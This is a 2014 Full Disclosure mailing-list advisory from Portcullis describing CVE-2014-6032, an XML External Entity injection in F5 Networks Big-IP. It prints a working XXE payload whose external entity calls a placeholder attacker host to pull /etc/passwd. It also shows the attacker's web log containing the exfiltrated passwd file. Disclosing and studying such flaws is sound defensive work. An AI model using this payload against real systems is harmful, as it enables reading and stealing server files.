full-disclosure - [FD] CVE-2014-6032 - XML External Entity Injection in F5 Networks Big-IP

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Message-ID: <C56B81159AD346478B2C9D1487742F0B218F4C0B@BARN2.otl.portcullis-security.com>
Date: Thu, 30 Oct 2014 10:22:58 +0000
From: Portcullis Advisories <advisories@...tcullis-security.com>
To: "'bugtraq@...urityfocus.com'" <bugtraq@...urityfocus.com>,
	"'fulldisclosure@...lists.org'" <fulldisclosure@...lists.org>,
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	<vuln@...unia.com>
Subject: [FD] CVE-2014-6032 - XML External Entity Injection in F5 Networks
	Big-IP

Vulnerability title: XML External Entity Injection in F5 Networks Big-IP
CVE: CVE-2014-6032
Vendor: F5 Networks
Product: Big-IP
Affected version: 11.3.0.39.0
Fixed version: N/A
Reported by: Oliver Gruskovnjak

Details:

F5 Networks Big-IP is vulnerable to an XML External Entity injection attack. The following xml payload was used to trigger the XXE (The vulnerable URL is redacted due to the number of affected systems):

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x/xml?f=/etc/passwd"> %remote;
%int;
%trick;]>
<deal type="request" id="1"><card type="query" id="1"/></deal>

On the attacking Server the file can be read from web server logs:

10.1.10.10 - - [20/Aug/2014:00:17:44 PDT] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128
- -> /xml?f=/etc/passwd
10.1.10.10 - - [20/Aug/2014 00:17:44] "GET /?p=root:x:0:0:root:/root:/bin/bash%0Abin:x:1:1:bin:/bin:/sbin/nologin%0Adaemon:x:2:2:daemon:/sbin:/sbin/nologin%0Aadm:x:3:4:adm:/var/adm:/sbin/nologin%0Alp:x:4:7:lp:/var/spool/lpd:/sbin/nologin%0Amail:x:8:12:mail:/var/spool/mail:/sbin/nologin%0Auucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin%0Aoperator:x:11:0:operator:/root:/sbin/nologin%0Anobody:x:99:99:Nobody:/:/sbin/nologin%0Atmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin%0Aadmin:x:0:500:Admin%20User:/home/admin:/bin/false%0Aapache:x:48:48:Apache:/usr/local/www:/bin/bash%0Amysql:x:98:98:MySQL%20server:/var/lib/mysql:/sbin/nologin%0Avcsa:x:69:69:virtual%20console%20memory%20owner:/dev:/sbin/nologin%0Aoprofile:x:16:16:Special%20user%20account%20to%20be%20used%20by%20OProfile:/:/sbin/nologin%0Asshd:x:74:74:Privilege-separated%20SSH:/var/empty/sshd:/sbin/nologin%0Asyscheck:x:976:10::/:/sbin/nologin%0Arpc:x:32:32:Portmapper%20RPC%20user:/:/sbin/nologin%0Af5_remoteuser:x:499:499:f
 5%20remote%20user%20account:/home/f5_remoteuser:/sbin/nologin%0Apcap:x:77:77::/var/arpwatch:/sbin/nologin%0Atomcat:x:91:91:Apache%20Tomcat:/usr/share/tomcat:/sbin/nologin%0Antp:x:38:38::/etc/ntp:/sbin/nologin%0Anamed:x:25:25:Named:/var/named:/bin/false%0A HTTP/1.1" 200 - 0.0013

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6032/

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Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

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